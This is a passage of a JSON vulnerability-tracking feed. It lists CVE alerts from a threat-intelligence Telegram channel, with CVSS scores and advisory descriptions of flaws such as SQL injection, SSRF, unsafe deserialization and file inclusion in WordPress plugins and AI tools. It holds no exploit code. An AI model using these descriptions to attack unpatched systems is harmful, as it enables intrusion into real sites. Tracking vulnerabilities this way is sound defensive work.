2025-03-14T18:07:01.253Z\n\ud83d\udccf Modified: 2025-03-18T16:26:57.725Z\n\ud83d\udd17 References:\n1. https://www.blackduck.com/blog/cyrc-advisory-logicaldoc.html", "creation_timestamp": "2025-03-18T16:51:24.000000Z"}, {"uuid": "709e1020-865d-4f96-b200-ed0b48ebcef7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12922", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8024", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12922\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The Altair theme for WordPress is vulnerable to unauthorized modification of data that can lead to privilege escalation due to a missing capability check within functions.php in all versions up to, and including, 5.2.4. This makes it possible for unauthenticated attackers to update arbitrary options on the WordPress site. This can be leveraged to update the default role for registration to administrator and enable user registration for attackers to gain administrative user access to a vulnerable site.\n\ud83d\udccf Published: 2025-03-19T05:22:52.303Z\n\ud83d\udccf Modified: 2025-03-19T05:22:52.303Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/e27971a3-f84c-4f13-81af-127e7560566a?source=cve\n2. https://themeforest.net/item/tour-travel-agency-altair-theme/9318575\n3. https://themeforest.net/item/tour-travel-agency-altair-theme/9318575#item-description__changelog", "creation_timestamp": "2025-03-19T05:51:44.000000Z"}, {"uuid": "ccd76c7e-830e-4b28-99dd-d801d49457ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12245", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/7942", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12245\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N)\n\ud83d\udd39 Description: Logout functionality contains a blind SQL injection that can be exploited by unauthenticated attackers.\u00a0Using a time-based blind SQLi technique the attacker can disclose all database contents. Account takeover is a potential outcome depending on the presence or lack thereof entries in certain database tables.\n\ud83d\udccf Published: 2025-03-14T18:11:14.218Z\n\ud83d\udccf Modified: 2025-03-18T17:05:58.045Z\n\ud83d\udd17 References:\n1. https://www.blackduck.com/blog/cyrc-advisory-logicaldoc.html", "creation_timestamp": "2025-03-18T17:48:37.000000Z"}, {"uuid": "08874658-0679-42c1-96df-d64c013194cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12563", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/7997", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12563\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The s2Member Pro plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 250214 via the 'template' attribute. This makes it possible for authenticated attackers, with contributor-level and above permissions, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution.\n\ud83d\udccf Published: 2025-03-18T20:21:44.690Z\n\ud83d\udccf Modified: 2025-03-18T20:38:55.295Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d3326e9d-504f-444f-baf7-03989594f483?source=cve\n2. https://s2member.com/changelog/", "creation_timestamp": "2025-03-18T20:48:16.000000Z"}, {"uuid": "0a1ec423-debd-46aa-8494-5ebc01550c14", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12295", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8019", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12295\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: The BoomBox Theme Extensions plugin for WordPress is vulnerable to privilege escalation via account takeover in all versions up to, and including, 1.8.0. This is due to the plugin not properly validating a user's identity prior to updating their password through the 'boombox_ajax_reset_password' function. This makes it possible for authenticated attackers, with subscriber-level privileges and above, to change arbitrary user's passwords, including administrators, and leverage that to gain access to their account.\n\ud83d\udccf Published: 2025-03-19T04:21:06.477Z\n\ud83d\udccf Modified: 2025-03-19T04:21:06.477Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/c453aaf6-767d-4929-bbb3-3c0b78b0507a?source=cve\n2. https://themeforest.net/item/boombox-viral-buzz-wordpress-theme/16596434", "creation_timestamp": "2025-03-19T04:48:46.000000Z"}, {"uuid": "1b538dbe-6c6b-473e-a2c4-95c4fd3d996a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12759", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8252", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12759\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: In bentoml/bentoml version 1.3.9, the `/login` endpoint of the newly integrated Gradio app is vulnerable to a Denial of Service (DoS) attack. This vulnerability can be exploited by appending characters, such as dashes (-), to the end of a multipart boundary in an HTTP request. The server continuously processes each character, leading to excessive resource consumption and rendering the service unavailable. The issue is unauthenticated and does not require any user interaction.\n\ud83d\udccf Published: 2025-03-20T10:10:56.937Z\n\ud83d\udccf Modified: 2025-03-20T17:56:59.562Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/e467ec92-0ad1-4461-8468-1beabf701b9f", "creation_timestamp": "2025-03-20T18:20:49.000000Z"}, {"uuid": "25a2a6a3-100d-4288-b0fe-b5fed11c6ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12136", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8034", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12136\n\ud83d\udd25 CVSS Score: 6.9 (cvssV3_1, Vector: CVSS:3.1/AV:P/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H)\n\ud83d\udd39 Description: Missing Critical Step in Authentication vulnerability in Elfatek Elektronics ANKA JPD-00028 allows Authentication Bypass.This issue affects ANKA JPD-00028: through 19.03.2025.\n\nNOTE: The vendor did not inform about the completion of the fixing process within the specified time. The CVE will be updated when new information becomes available.\n\ud83d\udccf Published: 2025-03-19T08:35:14.671Z\n\ud83d\udccf Modified: 2025-03-19T08:35:14.671Z\n\ud83d\udd17 References:\n1. https://www.usom.gov.tr/bildirim/tr-25-0071", "creation_timestamp": "2025-03-19T08:48:59.000000Z"}, {"uuid": "643f5442-74c1-4eb5-88e8-4b53c486a290", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12029", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8217", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12029\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A remote code execution vulnerability exists in invoke-ai/invokeai versions 5.3.1 through 5.4.2 via the /api/v2/models/install API. The vulnerability arises from unsafe deserialization of model files using torch.load without proper validation. Attackers can exploit this by embedding malicious code in model files, which is executed upon loading. This issue is fixed in version 5.4.3.\n\ud83d\udccf Published: 2025-03-20T10:08:45.570Z\n\ud83d\udccf Modified: 2025-03-20T14:33:03.024Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/9b790f94-1b1b-4071-bc27-78445d1a87a3\n2. https://github.com/invoke-ai/invokeai/commit/756008dc5899081c5aa51e5bd8f24c1b3975a59e", "creation_timestamp": "2025-03-20T15:18:31.000000Z"}, {"uuid": "d12ed81b-38b4-432c-9760-f09c63b1bd6b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12397", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8096", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12397\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N)\n\ud83d\udd39 Description: A flaw was found in Quarkus-HTTP, which incorrectly parses cookies with\ncertain value-delimiting characters in incoming requests. This issue could\nallow an attacker to construct a cookie value to exfiltrate HttpOnly cookie\nvalues or spoof arbitrary additional cookie values, leading to unauthorized\ndata access or modification. The main threat from this flaw impacts data\nconfidentiality and integrity.\n\ud83d\udccf Published: 2024-12-12T09:05:28.451Z\n\ud83d\udccf Modified: 2025-03-19T16:56:57.173Z\n\ud83d\udd17 References:\n1. https://access.redhat.com/errata/RHSA-2025:0900\n2. https://access.redhat.com/errata/RHSA-2025:1082\n3. https://access.redhat.com/security/cve/CVE-2024-12397\n4. https://bugzilla.redhat.com/show_bug.cgi?id=2331298", "creation_timestamp": "2025-03-19T17:20:59.000000Z"}, {"uuid": "e56bca5f-5f98-48b9-8b8b-c7bbbafc40b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12392", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8186", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12392\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A Server-Side Request Forgery (SSRF) vulnerability exists in binary-husky/gpt_academic version git 310122f. The application has a functionality to download papers from arxiv.org, but the URL validation is incomplete. An attacker can exploit this vulnerability to make the application access any URL, including internal services, and read the response. This can be used to access data that are only accessible from the server, such as AWS metadata credentials, and can escalate local exploits to network-based attacks.\n\ud83d\udccf Published: 2025-03-20T10:11:36.215Z\n\ud83d\udccf Modified: 2025-03-20T10:11:36.215Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/858de346-698e-4a72-a9e9-3dbd6c60ac18", "creation_timestamp": "2025-03-20T10:19:26.000000Z"}, {"uuid": "b58f187f-c093-4f10-a13a-07887cf5c1f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12866", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8193", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12866\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A local file inclusion vulnerability exists in netease-youdao/qanything version v2.0.0. This vulnerability allows an attacker to read arbitrary files on the file system, which can lead to remote code execution by retrieving private SSH keys, reading private files, source code, and configuration files.\n\ud83d\udccf Published: 2025-03-20T10:11:31.785Z\n\ud83d\udccf Modified: 2025-03-20T10:11:31.785Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/c23da7c7-a226-40a2-83db-6a8ab1b2ef64", "creation_timestamp": "2025-03-20T10:19:34.000000Z"}, {"uuid": "95a0c0da-2101-4b78-9f3b-4590dd8dcdf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1231", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8136", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1231\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The CM Download Manager  WordPress plugin before 2.9.0 does not have CSRF checks in some places, which could allow attackers to make logged in admins unpublish downloads via a CSRF attack\n\ud83d\udccf Published: 2024-03-25T05:00:00.845Z\n\ud83d\udccf Modified: 2025-03-19T20:04:28.792Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/7d3968d9-61ed-4c00-8764-0360cf03255e/", "creation_timestamp": "2025-03-19T20:18:02.000000Z"}, {"uuid": "d3373243-7045-4ef7-a799-fb78f3d2c58b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12044", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8212", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12044\n\ud83d\udd25 CVSS Score: 9.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: A remote code execution vulnerability exists in open-mmlab/mmdetection version v3.3.0. The vulnerability is due to the use of the `pickle.loads()` function in the `all_reduce_dict()` distributed training API without proper sanitization. This allows an attacker to execute arbitrary code by broadcasting a malicious payload to the distributed training network.\n\ud83d\udccf Published: 2025-03-20T10:10:03.510Z\n\ud83d\udccf Modified: 2025-03-20T14:36:03.940Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/f7e4fc32-e167-49fb-9fc7-f092b9c27e8a", "creation_timestamp": "2025-03-20T15:18:24.000000Z"}, {"uuid": "7ca839e4-a3ee-4da9-92d6-f19230bfa3e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12375", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8211", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12375\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A local file inclusion vulnerability was identified in automatic1111/stable-diffusion-webui, affecting version git 82a973c. This vulnerability allows an attacker to read arbitrary files on the system by sending a specially crafted request to the application.\n\ud83d\udccf Published: 2025-03-20T10:10:02.746Z\n\ud83d\udccf Modified: 2025-03-20T14:36:35.294Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/21952043-395f-4cd3-9374-b73ab9612f27", "creation_timestamp": "2025-03-20T15:18:23.000000Z"}, {"uuid": "f17e8bad-a2f5-4622-97c0-7edb5478c8ee", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12623", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8618", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12623\n\ud83d\udd25 CVSS Score: 6.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N)\n\ud83d\udd39 Description: The DICOM Support plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'dcm' shortcode in all versions up to, and including, 0.10.6 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.\n\ud83d\udccf Published: 2025-03-25T07:04:55.620Z\n\ud83d\udccf Modified: 2025-03-25T07:04:55.620Z\n\ud83d\udd17 References:\n1. https://www.wordfence.com/threat-intel/vulnerabilities/id/d76052f8-34b3-4930-a5bf-182420b07968?source=cve\n2. https://plugins.trac.wordpress.org/browser/dicom-support/trunk/DicomSupport.php#L120\n3. https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3257320%40dicom-support&new=3257320%40dicom-support&sfp_email=&sfph_mail=", "creation_timestamp": "2025-03-25T07:23:55.000000Z"}, {"uuid": "6bfbe273-265d-48ae-9c1b-dd0890253b81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12215", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8181", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12215\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: In kedro-org/kedro version 0.19.8, the `pull_package()` API function allows users to download and extract micro packages from the Internet. However, the function `project_wheel_metadata()` within the code path can execute the `setup.py` file inside the tar file, leading to remote code execution (RCE) by running arbitrary commands on the victim's machine.\n\ud83d\udccf Published: 2025-03-20T10:11:39.404Z\n\ud83d\udccf Modified: 2025-03-20T10:11:39.404Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/fad27503-97a4-4933-91d4-96223b8c54d8", "creation_timestamp": "2025-03-20T10:19:18.000000Z"}, {"uuid": "3db0747b-ac1d-45c7-a16a-7f2d827ef59e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12063", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8190", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12063\n\ud83d\udd25 CVSS Score: 7.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\ud83d\udd39 Description: A Denial of Service (DoS) vulnerability exists in the file upload feature of imartinez/privategpt version v0.6.2. The vulnerability is due to improper handling of form-data with a large filename in the file upload request. An attacker can exploit this by sending a payload with an excessively large filename, causing the server to become overwhelmed and unavailable to legitimate users.\n\ud83d\udccf Published: 2025-03-20T10:11:34.263Z\n\ud83d\udccf Modified: 2025-03-20T10:11:34.263Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/7db0091f-cb53-4cde-aad7-7ce491dfd8d9", "creation_timestamp": "2025-03-20T10:19:32.000000Z"}, {"uuid": "e5034346-4b01-4831-930c-485d229c6190", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12779", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8198", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12779\n\ud83d\udd25 CVSS Score: 6.5 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)\n\ud83d\udd39 Description: A Server-Side Request Forgery (SSRF) vulnerability exists in infiniflow/ragflow version 0.12.0. The vulnerability is present in the `POST /v1/llm/add_llm` and `POST /v1/conversation/tts` endpoints. Attackers can specify an arbitrary URL as the `api_base` when adding an `OPENAITTS` model, and subsequently access the `tts` REST API endpoint to read contents from the specified URL. This can lead to unauthorized access to internal web resources.\n\ud83d\udccf Published: 2025-03-20T10:11:28.705Z\n\ud83d\udccf Modified: 2025-03-20T10:11:28.705Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/3cc748ba-2afb-4bfe-8553-10eb6d6dd4f0", "creation_timestamp": "2025-03-20T10:19:42.000000Z"}, {"uuid": "e8de8ba7-4f65-43f8-8e55-db8f910d59c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12048", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8199", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12048\n\ud83d\udd25 CVSS Score: 8.8 (cvssV3_0, Vector: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)\n\ud83d\udd39 Description: An IDOR (Insecure Direct Object Reference) vulnerability exists in transformeroptimus/superagi version v0.0.14. The application fails to properly check authorization for multiple API endpoints, allowing attackers to view, edit, and delete other users' information without proper authorization. Affected endpoints include but are not limited to /get/project/{project_id}, /get/schedule_data/{agent_id}, /delete/{agent_id}, /get/organisation/{organisation_id}, and /get/user/{user_id}.\n\ud83d\udccf Published: 2025-03-20T10:11:27.726Z\n\ud83d\udccf Modified: 2025-03-20T10:11:27.726Z\n\ud83d\udd17 References:\n1. https://huntr.com/bounties/6def3e3a-c443-44bb-b20e-3e69b48f37dc", "creation_timestamp": "2025-03-20T10:19:42.000000Z"}, {"uuid": "a13a6447-3499-402c-9b19-0d26ac189284", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12057", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8367", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12057\n\ud83d\udd25 CVSS Score: 1.8 (cvssV4_0, Vector: CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N/AU:N/R:U/V:C/RE:M/U:Clear)\n\ud83d\udd39 Description: User credentials (login & password) are inserted into log files when a user tries to authenticate using a version of a Web client that is not compatible with that of the PcVue Web back end.\nBy exploiting this vulnerability, an attacker could retrieve the credentials of a user by accessing the Log File. Successful exploitation of this vulnerability could lead to unauthorized access to the application.\n\ud83d\udccf Published: 2024-12-09T19:08:15.527Z\n\ud83d\udccf Modified: 2025-03-21T15:55:47.995Z\n\ud83d\udd17 References:\n1. https://www.pcvue.com/security/#SB2024-6", "creation_timestamp": "2025-03-21T16:19:28.000000Z"}, {"uuid": "db4696ec-fa21-4d77-bb52-ceee1ccb4b21", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12109", "type": "published-proof-of-concept", "source": "https://t.me/DarkWebInformer_CVEAlerts/8611", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12109\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Product Labels For Woocommerce (Sale Badges) WordPress plugin before 1.5.9 does not sanitize and escape a parameter before using it in a SQL statement, allowing admins to perform SQL injection attacks\n\ud83d\udccf Published: 2025-03-25T06:00:11.148Z\n\ud83d\udccf Modified: 2025-03-25T06:00:11.148Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/2eca2f88-c843-4794-8cd9-46f17c92753a/", "creation_timestamp": "2025-03-25T06:23:49.000000Z"}, {"uuid": "84eff02f-6c9a-4ffb-8477-18d09a148edd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12682", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8609", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12682\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-25T06:00:11.744Z\n\ud83d\udccf Modified: 2025-03-25T06:00:11.744Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/79d0a139-0fb3-4a4b-ac33-80cbc6cb3831/", "creation_timestamp": "2025-03-25T06:23:47.000000Z"}, {"uuid": "aaaf07c3-5ae5-490b-b34c-7faa30fda8e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12769", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8608", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12769\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Simple Banner  WordPress plugin before 3.0.4 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-25T06:00:12.005Z\n\ud83d\udccf Modified: 2025-03-25T06:00:12.005Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/02b5c1a8-cf2a-4378-bfda-84d841d88a18/", "creation_timestamp": "2025-03-25T06:23:46.000000Z"}, {"uuid": "1b0b747b-9e1a-4cc9-b1a7-0059c9e633a2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12683", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8808", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12683\n\ud83d\udd25 CVSS Score: N/A\n\ud83d\udd39 Description: The Smart Maintenance Mode WordPress plugin before 1.5.2 does not sanitise and escape some of its settings, which could allow high privilege users such as admin to perform Stored Cross-Site Scripting attacks even when the unfiltered_html capability is disallowed (for example in multisite setup).\n\ud83d\udccf Published: 2025-03-26T06:00:06.140Z\n\ud83d\udccf Modified: 2025-03-26T06:00:06.140Z\n\ud83d\udd17 References:\n1. https://wpscan.com/vulnerability/1569ee00-56c3-4a1b-940e-e0256a748675/", "creation_timestamp": "2025-03-26T06:25:17.000000Z"}, {"uuid": "5217c1f9-0b6d-4475-a462-a6994f6782b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12169", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8645", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-12169\n\ud83d\udd25 CVSS Score: 8.7 (cvssV4_0, Vector: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/R:A)\n\ud83d\udd39 Description: A vulnerability exists in RTU500 IEC 60870-5-104 controlled station functionality and IEC 61850 functionality, that allows an attacker performing a specific attack sequence to restart the affected CMU. This vulnerability only applies, if secure communication using IEC 62351-3 (TLS) is enabled.\n\ud83d\udccf Published: 2025-03-25T12:36:02.457Z\n\ud83d\udccf Modified: 2025-03-25T13:11:20.584Z\n\ud83d\udd17 References:\n1. https://publisher.hitachienergy.com/preview?DocumentId=8DBD000207&languageCode=en&Preview=true", "creation_timestamp": "2025-03-25T13:23:51.000000Z"}, {"uuid": "9270f0c5-87ec-410a-a820-3fa40eee81ff", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1249", "type": "seen", "source": "https://t.me/DarkWebInformer_CVEAlerts/8934", "content": "\ud83d\udd17 DarkWebInformer.com - Cyber Threat Intelligence\n\ud83d\udccc CVE ID: CVE-2024-1249\n\ud83d\udd25 CVSS Score: 7.4 (cvssV3_1, Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:N/A:H)\n\ud83d\udd39 Description: A flaw was found in 